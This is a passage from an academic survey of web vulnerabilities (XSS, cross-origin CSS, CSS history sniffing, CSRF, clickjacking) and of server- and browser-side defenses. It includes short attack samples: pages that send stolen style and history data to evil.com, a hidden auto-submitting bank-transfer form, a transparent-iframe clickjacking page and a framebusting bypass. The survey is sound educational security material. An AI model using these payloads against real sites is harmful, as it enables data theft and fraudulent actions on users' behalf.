Introduction

The rapid increase in popularity of the World Wide Web has dramatically changed the vulnerability scenario. Firstly, it has changed the technologies involved: instead of binary applications written in low-level languages, most web applications are written using high-level, type-safe languages. Secondly, it has also changed the way applications interoperate with each other. Instead of proprietary protocols used to exchange information between trusted parties, client and servers in the WWW domain are expected to accept input from untrusted parties. Finally, interoperability requires parties to agree on standard protocols and languages.

The first change has shifted the attention of the security community away from known binary-related vulnerabilities such as buffer overflows that do not affect type-safe languages such as PHP or Java. Instead, attackers have adapted to exploit bugs in the web application logic, through attacks such as cross-site scripting (XSS) and SQL injections.

Moreover, exposing applications to untrusted, anonymous inputs has changed the intrinsic value of a successful exploit: the benefits of subverting a web application go far beyond the value of the data stolen (such as credit cards) or the disruption of the service. In fact, it is possible to expose millions of users to malicious code. For example, subverting the Google homepage for 24 hours can allow an attacker to serve malicious code to 900 million unique users. This is in contrast to a traditional binary exploit on a remote application: though these attacks lead to a complete compromise of the server, the amount of users willingly contacting the server is usually of a different order of magnitude.

Finally, the use of standards to guarantee interoperability offered a new avenue for attackers: the creators of the technologies at the foundation of the WWW (DNS, HTTP, HTML, etc) did not originally envision malicious entities, and many vulnerabilities sprang from holes or limitations of the specifications. Even though these holes and limitations are more understood now, fixing them requires all involved parties to agree on amending the affected standards. This can take time; meanwhile, users and servers remain vulnerable, even though their code follows the original specifications.

These topic of this research survey is the class of Web Vulnerabilities. With respect to the three differences described above, Web Vulnerabilities are a subset of WWW vulnerabilities affected by all of them: firstly, they involve logic fallacies (1), but these are due to limits of the languages and protocols involved (3) which did not envision malicious parties and put the burden of protecting against them on the web developer. Secondly, they affect public web applications, which are
contacted by users, and therefore do not need to scan for victims (2). Finally, they are cross-
platform, cross-browser vulnerabilities which cannot be fixed by just fixing a browser bug, and the
browser community usually takes a long time to agree on a backwards-compatible fix (3). Other
vulnerabilities which do not involve all three factors explained above are out of scope. For example,
browser exploits rely on memory errors on a binary program instead of exploiting limitations of
web standards. Although severe, they can be mitigated by keeping browsers up-to-date.

Concretely, this survey will only focus on a subset of web vulnerabilities. These are cross-site
scripting (XSS), cross-origin css, css history hack, cross-site request forgery (CSRF) and clickjacking.
The rationale for discussing and surveying only a subset of all known web vulnerabilities is to
arbitrarily constrain the topic to properly cover the subset, because it would be impossible to cover
all known web vulnerabilities: [24] cites 69 new vulnerabilities for 2010 alone. Some of these are
variations on the attacks presented in this paper, but others are novel and cannot be assimilated
into the existing categorization and mitigated with the surveyed defenses.

Contents

1 Web Security Overview 3

2 Vulnerabilities Overview 5

2.1 Confidentiality ................................................. 5
  2.1.1 XSS .......................................................... 6
  2.1.2 Cross-Origin CSS .......................................... 8
  2.1.3 CSS History Hack ....................................... 9

2.2 Authentication ................................................. 10
  2.2.1 CSRF ....................................................... 11
  2.2.2 Clickjacking .............................................. 14

3 Existing Defenses 15

3.1 Recognizing Injection of Untrusted Resources .................. 16
  3.1.1 Static Analysis .......................................... 16
  3.1.2 Server Instrumentation ................................. 17
    3.1.2.1 XSSGuard ......................................... 17
  3.1.3 String Matching ......................................... 18
    3.1.3.1 Internet Explorer 8 .................................. 18
    3.1.3.2 XSSAuditor ........................................ 19
    3.1.3.3 XSSDS - Reflected ................................. 20
    3.1.3.4 Taint-Inference .................................... 20
  3.1.4 Untrusted Data Isolation ................................ 21
    3.1.4.1 Blueprint ........................................... 22
    3.1.4.2 DSI .................................................. 23
    3.1.4.3 Noncespaces ....................................... 23
  3.1.5 Discussion ................................................ 24

3.2 Whitelisting Intended Resources .............................. 24
  3.2.1 XSSDS - Generic ....................................... 24
  3.2.2 NoScript ............................................... 25
1 Web Security Overview

This section describes the technologies currently used to secure the interaction of users with web applications through the browser.

When browsing the WWW, users come in contact with multiple untrusted entities:

- **Untrusted Websites**: users have limited or no trust in the websites they visit. In some cases, they entrust the website with a limited set of credentials and personal information, while in other cases they provide no information at all. For usability reasons, websites cannot
be limited to simply display data on the browser, but must be allowed to run untrusted JavaScript code to manipulate this information.

- **Untrusted Third-Party Content:** with the advent of Web 2.0 applications, websites embed an increasingly large amount of third-party content, usually with little or no moderation from the web application administrators. This means that even when the user considers the website trustworthy, it may contain content provided by a malicious third party.

- **Untrusted Network Path:** the network data is transported on a shared network link operated by a third party, which the user does not necessarily trust. This is addressed using asymmetric cryptography and is out of the scope of this survey.

In addition to users, web applications face trust problems as well:

- **Untrusted Users:** most web applications allow any user to access all or part of their content, and in some cases to contribute to it.

- **Untrusted Embedded Content:** web applications often embed external resources from third-party servers into the web page. These are not assembled together on the server, but rather fetched by the client and rendered together in one single browser page.

Given these untrusted interactions, it is clear that from the user perspective, confidentiality is paramount. In this scenario, there are \( n + 1 \) distinct parties (where \( n \) is the number of web application visited by the user, and 1 represents the user) that do not mutually trust each other. Since these all interact together on the browser, confidentiality must be enforced in all interactions: the browser must guarantee that user’s data on his operating system is kept confidential, but must also ensure that user’s data regarding website a.com is kept confidential from website b.com.

Confidentiality on the browser is obtained through isolation. Specifically, there are two isolation mechanisms: isolation among websites is enforced through the Same-Origin Policy (SOP), while the operating system is isolated from websites through JavaScript sandboxing.

The SOP partitions WWW resources (pages, scripts, cookies, etc) into domains according to their DNS origin. For example, a.com/index.html is partitioned together with a.com/news.html, but isolated from b.com/index.html. Domain isolation concerns sensitive data saved on the browser in the form of cookies (Cookie Isolation), but also resources embedded in a page, which can be instantiated but not read or modified if they belong to a different origin (DOM isolation), and remote resources hosted on the website (Network Isolation). Cookie isolation prevents malicious websites from stealing login information from other websites on the user’s browser; DOM isolation protects both embedded resources (such as a page contained in a frame) and embedding resources (such as the page embedding the above frame) from tampering and data leaks; finally, network isolation prevents domain to read and consume content from other domains (through XMLHttpRequests), to prevent the former to use the user’s browser to navigate on the latter, potentially stealing sensitive information from it. The only cross-domain interaction allowed by the SOP is a form on isolated embedding, where a webpage can display content from other domains, while having no access to it. For example, a page on a.com can embed a page from b.com as an iframe: this reserves a portion of a.com’s page to display b.com’s contents; however, even though the iframe and its content is part of the page’s DOM tree, scripts cannot refer to it.

Sandboxing of JavaScript code is essential to ensure that websites do not tamper with the user’s operating system, which contains sensitive information that the user might not want to implicitly
share with the website. Proper sandboxing is achieved by limiting the capabilities of the javascript code: the global namespace is populated with a window object, which contains all the scripting capabilities available to the web application. These include writing and reading cookies for the current domain, querying and modifying the DOM tree of this document and other embedded documents in case they belong to the same domain, and other general browser capabilities, such as redirection and querying the browser’s window size; however, it does not include writing or reading files on the filesystem, executing binary programs and draw outside the browser window.

Unfortunately, not all untrusted interactions are properly covered by the WWW standards: untrusted contributions to websites in the form of comments, reviews cannot be easily isolated from the rest of the trusted content, and this can lead to privilege escalation attacks where untrusted content from third parties “injected” into the domain can access data belonging to the domain. The alternative is to publish the contribution in another origin and embed them as an inline frame, but the rigid layout and the isolation imposed by frames make this solution impractical. Moreover, this all-or-nothing approach where either something is completely isolated or completely embedded and trusted does not work at all in the context of web mashups, a new form of Web 2.0 applications which integrate web applications from different origins into a single web page.

From the web application perspective, authentication plays an important role: since web applications accept inputs from all sorts of users, it is important to authenticate these to properly decide which operations they are authorized to perform. Since the WWW is built on top of HTTP, which is a stateless protocol, web application use cookies to introduce the concept of “session”: a random number is assigned to each user and sent to them as a cookie; since cookies are sent along by browsers with each request for resources on the same domain, the web application is able to track users across HTTP requests. This implicit authentication information is also sent when interacting with third-party websites: if the user is logged in a.com, and visits b.com which embeds an image from a.com in its homepage, the image request for a.com will automatically contain the credentials for a.com.

2 Vulnerabilities Overview

In this survey, we present XSS, CSRF, Clickjacking, Cross-Origin CSS and CSS History Hack. Not all these vulnerability have the same severity. For example, CSRF vulnerabilities are used to abuse the user credentials to commit specific, fraudulent actions, while XSS attacks completely hijack the user session, and can be used for a wider range of malicious activity.

The vulnerabilities described below are organized in terms of breach in security properties. XSS, CSS History Hack and Cross-Origin CSS Attack are attacks on confidentiality. These attacks enable malicious parties to circumvent the same-origin policy (SOP), the basic policy that browsers use to keep data isolated into domains according to their DNS origin. CSRF and ClickJacking are authentication breaches, because they trick the user into sending an authenticated request that he did not intend to perform.

2.1 Confidentiality

Confidentiality on the browser is enforced by the SOP. This policy partitions the World Wide Web into domains according to their DNS origin, restricting access sensitive data (such as cookies) only within the same origin. However, the SOP has several difficulties: attempting to isolate
domains while providing some degree of intercommunication among them is tricky, and the security community has found many ways to leak information cross-domain over the years.

The following vulnerabilities mainly differ in how the SOP is circumvented. XSS can be viewed as a privilege escalation attack, where untrusted text is slipped into a victim domain and is therein executed. The other two attacks exploit holes in the SOP: for usability reasons, the SOP does not deny all information flows; some of these allowed flows have been exploited by the attackers to leak sensitive information. Cross-Origin CSS uses an exception regarding CSS rules which allows cross-origin access for scripts to read HTML pages, while the CSS History Hack uses CSS styles to read browser history.

2.1.1 XSS

Cross-site scripting (XSS) has emerged as one of the most serious threats on the Web. CWE/SANS Top-25 [55] lists XSS first in its list of “Top 25 Most Dangerous Software Errors,” while the web-application focused OWASP [56] lists XSS second in its list of top-10 security risks. In terms of raw numbers, it is the most commonly reported vulnerability over the past year, accounting for 12.8% of all reported CVE vulnerabilities. (See Figure 1). Xssed, a famous repository of XSS vulnerabilities, has received over one thousand vulnerability reports over the last year.

An XSS attack involves three entities: a web-site that has an XSS vulnerability, a legitimate user of this web-site, and the attacker. The attacker’s goal is to be able to perform sensitive operations on the web-site using the credentials of the legitimate user.

Although the attacker is able to run her code on the user’s browser, the same-origin policy (SOP) enforced by the browser prevents her code from stealing the user’s credentials, or observing any (potentially sensitive) data exchanged between the web-site and the user. In order for the attacker’s code to overcome this restriction, she would need to inject her code into a web page returned by the web-site to the user. An XSS vulnerability in the web-site allows this to happen.

Exploiting an XSS vulnerability involves three steps. First, the attacker uses some means to deliver her malicious payload to the vulnerable web-site. Second, this payload is used by the web site during the course of generating a web page (henceforth called a victim page) sent to the user’s browser. If the web site is not XSS-vulnerable, it would either discard the malicious payload, or at least ensure that it does not contribute to code content in its output. However, if the site is vulnerable, then, in the third step, the user’s browser would end up executing attacker-injected code in the page returned by the web site.
There are two approaches that an attacker can use to accomplish the first step. In a *stored XSS attack*, the injected code first gets stored on the web-site in a file or database, and is subsequently used by the web-site while constructing the victim page. For instance, consider a site that permits its subscribers to post comments. A vulnerability in this site may allow the attacker to post a comment that includes `<script>` tags. When this page is visited by the user, the attacker’s comment, including her script, is included in the page returned to the user.

In a *reflected XSS attack*, the attacker lures the user to the attacker’s web page (or a spam/scam email from the attacker), and uses social engineering techniques to cause the victim to click on a link. This click will launch a GET (or, in some cases, POST) request to the web-site. Included in this request will be parameters, which will be under the control of the attacker since the link itself is under her control. When a vulnerable web site uses these parameters in the construction of its DOM tree (e.g., it echoes these parameters into the response page, or uses them to build DOM nodes without adequate sanitization), the attacker’s code is able to execute on this response page. The widespread prevalence of spam and scam emails (and web sites) make reflected XSS relatively easy, and hence make them very popular among attackers. For example, Figure 2 shows how a reflected attack can be carried out on a vulnerable website: maliciously crafted input can open a `script` node in the middle of the page and execute JavaScript code in the context of the web application. This code will thus have access to the domain cookies, and may send them to an external location controlled by the attacker.

XSS stems from lack of input sanitization, but it is very commonplace not only because web developers forget to properly sanitize input but also because HTML lacks support for isolation of untrusted input [53]. In fact, it can be argued that when the application filtering has to allow rich HTML formatting but deny execution of script code, sanitization is a very hard problem. Requiring web developers to implement correct, context-sensitive sanitization functions puts an unnecessary burden on them. Section 3 shows some extensions to HTML which allow web developers to isolate untrusted code, thus completely preventing XSS attacks and allowing all kind of rich-formatting HTML to be whitelisted with a simple policy; the section also presents defenses that mitigate the problem without having browsers and servers agree on extensions to web standards.
2.1.2 Cross-Origin CSS

Cross-Origin CSS attacks enable circumvention of the same-origin policy by embedding sensitive resources from a domain into a malicious page, and reading it into the malicious domain. Normally, the same-origin policy is effective in partitioning the world wide web: not only is a.com prevented from reading cookies set by b.com, but this restriction also applies to embedded content. If a page from a.com embeds another page from the same origin using a framing primitive such as iframe, the embedding page is allowed to read the embedded page. However, if the embedded page is hosted on a different origin (e.g. b.com), then the embedding page cannot access any information about the resource (and vice versa).

However, the SOP allows certain type of information to leak cross-domain, because it is deemed non-sensitive. This is the case for CSS: a page can embed a style sheets from a different origin and use JavaScript code to access information about the loaded style. Normally, style sheets only contain information about font size, background color and so on, and may thus seem safe to share among domains. However, this presents an opportunity to leak HTML pages as well: if an HTML page on a vulnerable server is loaded as CSS in a malicious page and the user is logged on the victim server, malicious Javascript code can leak information from the embedded vulnerable page into the malicious embedding page.

This attack requires parsing sensitive information as CSS rules. Given that the CSS and the HTML syntaxes are so different, this might seem hard. However, parsing CSS rules out of HTML pages is surprisingly simple. This is because CSS parsers, to cope with future extensions of the standard, are designed to ignore unrecognized syntax and recover parsing as soon as possible. Specifically, the end of a style directive closes every rule without error. Therefore, to start a rule affecting hr elements anywhere in the page, it is sufficient to write {}hr{color: blue;}. Modern web browsers load pages in “standards mode” or “quirks mode”. The “standards mode” (activated by prepending the HTML document with a DOCTYPE directive) does not allow this kind of attack to happen, because browsers refuse to parse CSS files if they are served by the server with a content-type other than text/css. Therefore, even if evil.com loads the stylesheet a.com/account.html, a.com will serve it with the wrong content-type, and the browser will refuse to embed the style sheet into the malicious page. However, standards mode is opt-in, because it is the embedding page that decides the mode: in this scenario the attacker can simply leave out the DOCTYPE directive to load the HTML as a style-sheet using quirks mode.

The aim of the attack is to enclose sensitive information inside CSS syntax, so that this information will be parsed as a CSS rule and made available for reading by a script from the embedding malicious document. Since CSS rules must be started with a CSS selector, an opening curly brace and a property name (i.e. #main\{font-family: and closed with another curly brace, the attacker needs to control the text before and after the sensitive piece of information that needs to be stolen. Sanitization could prevent the attacker from inserting the required syntax, especially the curly braces. However, this attack is not widely known and sanitization routines for HTML data are typically targeted at XSS. For this reason, it poses little or no problem for this attack: this is because sanitization in HTML pages usually prevents attackers from inject untrusted HTML code, but HTML syntax has very few special characters in common with CSS syntax: it is very likely that a proper XSS sanitation function is ineffective against this attack. Attacker-controlled text before and after sensitive information is not uncommon at all, and can be injected either through persistent storage or HTTP GET parameters. For example, WebMail applications like Yahoo Mail or GMail can be attacked by enclosing a list of sensitive subjects between two attacker controlled
subjects. Additionally, Internet Explorer automatically closes the rule if the document ends without a closing brace: the attacker only needs to control text before the sensitive piece of information. Below is a sample of an attack to a mock webmail application:

```html
<table id="messages">
<tr><td>{}#f{font-family: '}</td><td>From: Attacker</td></tr>
<tr><td>Important Confidential Information</td><td>From: TFCU</td></tr>
<tr><td>Your latest bank statement</td><td>From: BoA</td></tr>
<tr><td>;</td><td>From: Attacker</td></tr>
</table>
```

This results in the font for the id \textit{f} being set. The enclosing page at \textit{evil.com}, which is under the control of the attacker, can then simply retrieve the style and leak it to the attacker.

```html
<html>
<head>
<title>Attack Page</title>
<link rel="stylesheet" href="http://mail.com/messages/">
</head>
<body>
<script>sendHome(cssRules[0].cssText)</script>
</body>
</html>
```

The user’s browser just willingly leaked information from mail.com to evil.com.

A long term solution for the problem can build upon strict CSS parsing and content-type enforcement; however, compatibility must be taken into account, especially since we are referring to “quirks mode” pages.

### 2.1.3 CSS History Hack

The CSS History Hack allows websites to query the browser about which websites have been visited before. Although the history database is not open, meaning that it is not possible to retrieve the full list of websites, this attack enables querying the database, by checking for a specific set of websites that the attacker might be interested in. For example, if an attacker wants to launch a banking phishing attack, he can successfully check whether the user actually uses the bank in question.

This information leak attack can be launched from a malicious website, and exploits CSS pseudo-classes to leak information from the browser to a malicious script. CSS pseudo-classes are a feature of CSS which automatically assign a specific class to hyperlinks, to provide a separate presentation for visited and unvisited links. For example, the following link can be displayed in two different colors according to whether it has been previously visited or not:

```html
<style>
a {color:red;}
a:visited {color:blue;}
</style>
<a href="bank.com">Which color?</a>
```

Since CSS properties can be queried from JavaScript, the attacker can place a link to a known web application and use JavaScript to query the link style. Once the data has been leaked into the malicious JavaScript domain, it is effectively under the control of the attacker who can then choose to use it for his own purposes. The code below shows the simplest form of CSS history hack (using a JavaScript library called jQuery\textsuperscript{[31]}, for brevity): a different color is assigned to visited and unvisited links, and JavaScript code queries the actual color for each link in a list.
Another variant of the attack does not require JavaScript: instead of collecting the leaked data in the script, it is possible to send it directly to the malicious web application using only CSS rules, by specifying a different background url for each pseudo-class. The code below tells the server whether a link was visited or not through an HTTP request:

```html
<style>
  a { background-image: url('evil.com/link?id=1&visited=false');
  a:visited { background-image: url('evil.com/link?id=1&visited=true');
</style>
<a href="bank.com">Bank</a>
```

This problem has been known since 2002 [3], and it still affects most browsers. The reason for this delay is that fixing it requires further constrainment of the CSS capabilities mandated by the HTML standard, while maintaining compatibility with current websites.

## 2.2 Authentication

Web applications commonly authenticate users using cookies. Since HTTP is a stateless protocol, after the initial login/password authentication cookies are used to keep track of users across requests. Unfortunately, once cookies are associated to a domain, they are automatically sent by the browser with all requests for that domain without any knowledge or approval from the user. This allows CSRF and Clickjacking attacks, which exploit these automatically sent credentials to carry out sensitive actions specified by the attacker.

CSRF exists because sending cross-origin requests is a potentially sensitive operation, and the browser automatically embeds authentication information even when an unauthenticated party performs the request. ClickJacking on the other hand breaches authentication by attacking the trusted path to known web applications.
2.2.1 CSRF

Request Forgery (CSRF) is the name given to a Confused Deputy Attack [18] specific to web applications. The term CSRF is as old as 2001 [59]. However, the security community has not paid enough attention to the issue until recent years. CSRF has been infamously named the “sleeping giant” among web based vulnerabilities, the reason being that most websites have been vulnerable to CSRF attacks long before vulnerabilities started to be discovered, but neither malicious individuals nor developers understood the extent of the threat. Given the number of unfixed vulnerabilities still in the wild, it is unsurprising that CWE declared it the 4th most dangerous software error in a 2010 report, [55]. CVE data from the last 6 years [9] in Figure 3 clearly shows how the security community was not fully aware of the problem until 2007, and how attacks continue to be prevalent today.

Since HTTP is a stateless protocol, most web applications rely on cookie-based authentication to create a stateful channel: on successful login, the web application sets a session id for the user and instructs the browser to store it as a cookie. While the session is open, this identifier effectively replaces the username/password pair as an authentication token. It is therefore a popular target for attackers because it can be used to impersonate the user and execute actions on his behalf. In fact, most simple XSS payloads steal the session id from the user by leaking it to a cookie logger under the control of the attacker, as shown in Figure 2. On the contrary, in a CSRF attack the attacker does not have to steal any credential to impersonate the victim. Rather, he uses the victim’s browser to impersonate the user. If the attacker can force the user’s browser to navigate to a URL, the attacker has effectively visited the URL with the user’s credentials, because the browser always sends the session id along with the request. For most requests, this is safe: the web application does nothing more than retrieve data from persistent storage and assemble it into an HTML page, which the attacker is unable to read because it is sent to the user’s browser. Yet, a small number of URLs are associated with changes to the state of the web application. If the

![Figure 3: CVE Data for CSRF Attacks, 2005-2010](image-url)
attacker can use these side effects for his own advantage, thus exploiting the trust the website has in the user’s browser, he is able to carry out a successful CSRF attack. The extent of the damage depends on the website attacked: in case of online banking applications, there is the possibility of fund transfers from the user’s account to the attacker’s account. Such vulnerabilities have been discovered in the past, [65]

The simplest type of CSRF attack involves GET requests with side effects. Suppose a bank exposes a vulnerable service on the URL transfer.php, and requires to specify a destination account number along with the amount of money to be transferred. If the user is logged into the application and is tricked into clicking this link:

\[
\text{http://bank.com/transfer.php?dest=666&amt=5000}
\]

the browser will send the session id along with the request. The web application, upon receiving the request, will find the user associated with the provided session id and will transfer $5000 from the user’s account to the attacker’s account. Unfortunately, CSRF attacks do not require users to explicitly click a malicious link to the target website to be successful: the attacker can construct a malicious page which performs a cross-origin GET request which is invisible to the user, using tags such as IMG and IFRAME). Cross-origin GET requests are the rule rather than the exception, and therefore no tool can block cross-origin requests without heavily impacting usability. Policy-based mechanisms to deny cross-site GET requests exist [50], but an attacker can always construct a malicious page and opt out of them. Not only it impossible to stop requests from being sent by malicious pages, but it is also the case that the vulnerable application is in general unable to recognize the source of the request. (Referrer information, which identifies the source of the request, is suppressed by proxies or not sent by browsers too often to always deny access to requests lacking such information [5]. This is mostly done for privacy reasons. Moreover, even when the browser is configured to send along referrer information, attackers have discovered techniques to suppress it [34, 36].)

POST-based CSRF attacks require a malicious page and JavaScript support on the victim browser, but they are equally easy to mount. Suppose that the previous vulnerable bank application exposes the transfer service through a POST rather than a GET interface, using the same parameters. The attacker needs to trick the user into visiting a page containing this code:

\[
\text{<form id="evil" action="bank.com/transfer.php" method="POST">}
\text{<input type="hidden" name="dest" value="666" />}
\text{<input type="hidden" name="amt" value="5000" />}
\text{</form>}
\]

This form is completely invisible to the user. The attacker then introduces a simple JavaScript statement to submit the form, such as:

\[
\text{getElementById('evil').submit();}
\]

so that he does not have to trick the user into submitting the form manually. Again, the browser will send along the cookies for bank.com, which includes the session id, so that the request is authenticated and the money is transferred. Figure 4 shows the information flow.

CSRF attacks are possible because the browser sends authentication information for the current domain implicitly, by providing the session id (or any other means of authentication, such as HTTP
basic access authentication) along with every request without any user interaction. This means that it is the browser which is really authenticated to the website rather than the user, and it does not know if a request was intended by the user or not.

The industry standard to protect against CSRF attacks is to augment hyperlinks and forms with a token. These are usually saved in the session database and served to each user accordingly as GET parameters. When the user submits requests for these resources (by clicking a link or submitting a form), the browser will include the token and the web application will check for its validity against the user’s session id. A valid token is proof that the browser assembled the request on the page originally intended by the developer of the web application and that the request has not been crafted by an attacker: even though the attacker can view his own token on the page, he cannot read the responses sent to the user and therefore his tokens, which are the only tokens valid for the user’s session id.

Although any request can lead to side-effects and should be protected, most frameworks only offer protection for POST requests [11, 17]. Having side effects in GET requests may result in unintended behavior even without the presence of an attacker: the user may mistakenly reload a web page, reissue a request with side-effects, and browsers only alert the user in case of POST request resubmission. Moreover, GET requests comprise the vast majority of the user’s interaction with the web application, and protecting them is usually too expensive, complicated or leads to an increased number of false positives. For example, defenses that protect GET requests would cause false positives when the user accesses the website through a bookmark or by manually typing the URL because these do not have a valid token, forcing the user to reauthenticate often. Finally, the lack of side-effects for GET requests is an established practice, as mandated by RFC2616 [12].

Unfortunately, while modern frameworks have features to automatically add CSRF protection to forms, until a few years ago, developers were expected to implement this CSRF token mechanism themselves. The implementation of a token-based authentication system puts an unnecessary burden on the developer of a web application who simply wants to allow a whitelist of sources for
requests. Moreover, creating a token which can be generated by a list of whitelisted applications and verified on the target application (to allow a restricted cross-origin interaction between a specific set of websites, as opposed to simply same-origin requests) poses even bigger challenges. For this reason, CSRF attacks are still commonplace, and they still crop up in major websites, mainly because the frameworks used to protect the websites cannot automatically protect against CSRF attack in all cases.

### 2.2.2 Clickjacking

Clickjacking is another form of the confused deputy attack, which allows the attacker to execute actions as the user, much like CSRF. Unlike CSRF, the attack does not exploit the laxness of cross-origin embedding of resources in web browsers, but rather uses social engineering along with a deceiving page layout to trick the user into performing the action himself.

For a successful clickjacking attack, the attacker sets up a malicious page using CSS layering: one layer will contain an interesting link, image or button to lure the user, while another layer will contain an element from a target web application that the attacker wants the user to click. The attacker sets up CSS rules to place the former layer behind the latter. This way, browser events are sent to the second layer, because this covers the first layer. However, the attacker also sets up the second layer as transparent. With this setup, the user only sees the first, enticing layer, but click events are unexpectedly sent to the target web application, which is on the foreground but invisible. Another variant of Clickjacking involves phishing for credentials, by drawing form elements over an existing form of a web application (e.g. a bank), tricking the user into filling the attacker provided form instead of the web application form in the background. In this case, the attacker’s form elements are laid out over the original form elements.

The code below is a mock example of a malicious HTML page to clickjack Facebook users. The Facebook “like” button is placed on the foreground, but it is set as transparent, so that the user is tricked into clicking it. Figure 5 shows the deception graphically.

```html
<html>
<head>
  <title>Clickjacking example</title>
</head>
<body>
  <!-- z index = 2 places this layer on top -->
  <div style="z-index:2; position:absolute; top:0; left:0;"
    <!--[if !IE]><!--
    <!-- but opacity = 0 makes it transparent -->
    <!-- style="opacity:0" width="100%" height="100%"
    <![endif]-->
    <iframe src="http://www.facebook.com/likebox.php?id=4543" id="frame1"
      style="opacity:0" width="100%" height="100%">
    </iframe>
  </div>
  <!--[if !IE]><!--
  <!-- this goes into the background, events go to the other div-->
  <div style="position:absolute; top:0; left:0; z-index:1;"
    <!--[if !IE]><!--
    <!-- and it does this to block the "opacify" attribute -->
    <!-- [style="opacity:0" width="100%" height="100%"] -->
    <h1>Click Here to Win a FREE iPad!</h1>
  </div>
  <!--[endif]-->
</body>
</html>
```

Clickjacking for Facebook is very widespread because there’s a virus-like aspect to it: if the victim is logged in Facebook, he will recommend his friends to visit the malicious page.

The common technique against Clickjacking is called Framebusting. Clickjacking attempts are thwarted by introducing a script in the web application that checks whether the application is
loaded inside a frame, and reload the application out of any frame if that is the case. Unfortunately, Framebusting scripts need to strike a balance between security and compatibility. Earlier efforts (still used in many websites) were vulnerable to clobbering of variables used in the check or disabling of JavaScript \cite{42}, either by HTML attributes or by abusing XSS filters recently introduced to most major browsers. For example, this very common framebusting script

```javascript
if (top != self)
    top.location.replace(location);
```

can be circumvented on IE6 by framing the `security=restricted` attribute:

```html
<iframe src="http://www.victim.com" security="restricted"></iframe>
```

Recent efforts overcome this problem by using JavaScript to activate the page elements, instead of busting out of the frame. This way, if the attacker successfully disables JavaScript for the frame, the attack is still thwarted because there is nothing to click. However, this is not without its usability problems, as users cannot browse the website without JavaScript enabled.

Obviously, Framebusting is just a compromise to temporarily mitigate the problem. A long term solution must constrain the flexibility of CSS in order to prevent malicious pages overlaying on sensitive web application controls in frames.

### 3 Existing Defenses

This section reviews the existing defenses to protect against the aforementioned attacks. We describe 4 different categories of defenses: **Recognizing Injection of Untrusted Resources** aims to classify document resources (such as images, scripts and text content) as intended or unintended. When specifically targeted for XSS, it works by removing unintended scripts from the HTML output before they are sent to the client, or by sending the classification information to the client along with the usual response so that the browser can make the decision itself. Although these defenses are meant mainly against XSS, injection of other types of resources can be detected and blocked as well. **Whitelisting Intended Resources** requires developers to classify which resources
are permitted for the current page. This yields simple policies that however need to fully capture the set of resources embedded in the web application to ensure absence of false positives. Preventing Unintended Information Flow contains techniques to block the flow of sensitive information to malicious parties, either because the SOP fails to protect a certain resource because of a design shortcoming, or because of an ongoing XSS attack, which runs in the same domain as the sensitive resources. Finally, Preventing Confused Deputy Attacks presents defenses to prevent the browser from executing actions that the user does not intend.

3.1 Recognizing Injection of Untrusted Resources

The first class of defenses presented in this survey attempts to detect document data that has been provided by an untrusted party, and enforce a policy which prevents harmful contribution.

The solutions surveyed here are classified according to the technique used to detect untrusted data. Static analysis has been used to detect program paths that potentially lead to unsanitized content being added to the HTML response, and to verify the correctness of sanitization functions\[1, 60\] with respect to all context where they are used. Another alternative is server instrumentation \[7\], which attempts to instrument the web application to capture the intended structure of the response and detect whether untrusted data alters the structure of the web page. Finally, a black-box approach is also feasible \[44, 6, 49, 26\]: string matching can be used to compare input parameters (GET and POST parameters, cookies) and the resulting page to infer how the web application assembled the response from untrusted input. A black-box approach has the advantage of browser-side deployment, but it is limited to examine content exchanged between the server and a single client.

The most common form of harmful content is HTML code that runs JavaScript code to launch an XSS attack, and the policies provided in the following solutions reflect this bias. However, other subtler attacks are possible which inject other HTML elements. For example, it is possible to deface a website by injecting other HTML tags such as div or iframe.

3.1.1 Static Analysis

Static Analysis attempts to statically infer the data flow and the transformations applied to the untrusted inputs before they end into a sensitive sink (such as the HTML response, in case the case of XSS). It offers the attractive capability of exhaustively examine every program path before deployment, while dynamic-based analysis can only warn of vulnerabilities as they are exploited. Moreover, there is no usability or performance overhead as these tools are run by developers before the web application is deployed. Early work in this field attempted to consolidate previous static analysis research on other languages, while attempting to address issues that arise in dynamic languages \[29, 30, 62, 61\], which are almost exclusively used to build web applications. Recent work has tackled the problem of statically analyzing sanitization functions as well \[1, 60\], instead of relying on whitelisted functions that are presumed to correctly filter out attacks.

However, static analysis tools are meant for developers, not users or system administrators: the number of false positives reported are usually too many, and the tool is not able to fix the vulnerability automatically, but requires a developer to inspect the code. For this reason, we will not go into detail in this survey; rather, this survey is focuses on defenses that require little or no knowledge of the application internals.
3.1.2 Server Instrumentation

Web Application Instrumentation can be used to add runtime checks to the web application, so that checks are automatically embedded to retrofit unsecure web applications. This is often done for taint-tracking [35, 63, 48] to support taint-based policy such as [38, 57], but can also be used to built an alternate version of the page using trusted data to check whether the two pages differ in script content[7].

3.1.2.1 XSSGuard  XSS-GUARD[7] uses the idea of shadow pages, mutated from a related publication [2] about SQL Injection from the same authors. It works by instrumenting the web application to generate a shadow page along with the ordinary page. The shadow page is constructed on benign inputs, while the instrumentation forces the web application logic along the same code path caused by untrusted inputs. Once the two pages are ready to be sent out to the browser, the two parse trees are compared to look for additional scripts in the real page.

XSS-GUARD instruments the web application to build the output from two different set of inputs. The real page is constructed out of the actual user inputs, while the custom page is built out of candidate inputs. These are derived from user inputs, but are transformed to be safe. To ensure that candidate inputs do not affect the parse tree, every character of the input strings is translated into the letter 'a'. Figure 6 shows how the application code is instrumented, while figure 7 shows the comparison between the real output and the shadow output when the input is <script>xss();</script>.

The next important step is to correctly identify the scripts embedded in the two pages, to compare their content. If this is not done properly, an attacker can exploit a browser quirk to embed a script in the real page which is not recognized by the parser; the real page and the shadow page will then have the same scripts, causing the malicious code to be served to the user. XSS-GUARD approaches this problem by leveraging Firefox’s parser. However, this approach does not guarantee quirks safety with other browsers, and cannot possibly be extended to closed source...
browsers (IE8, Opera). In the case of figure 7 comparing the number of scripts is sufficient to detect
the attack, but XSS-Guard also handles injections in the middle of a script (partial injections) by
comparing script parse trees of the real and the shadow page up to and excluding string literal nodes.
Although XSS-GUARD is a server-side defense, the idea of sending a dummy request along with
the original request for XSS protection has been used on the client-side as well by [23]. However,
the latter cannot instrument the web application, thus it cannot force execution of the same code
path, facing the undecidable problem of finding a transformation for user inputs that results in the
execution of the same code paths and detecting whether the attempt has been successful.

3.1.3 String Matching

Instead of instrumenting the web application for full-fledged taint-tracking, it is possible to emulate
it using a string matching algorithm, to search for similarity between sources of untrusted data
(parameters) and sensitive sinks (HTML pages). This attempts to infer taint at the web application
boundaries without incurring in the overhead of taint-tracking. This technique can incur into
accidental false positives when matches are found even though there is no actual relationship in the
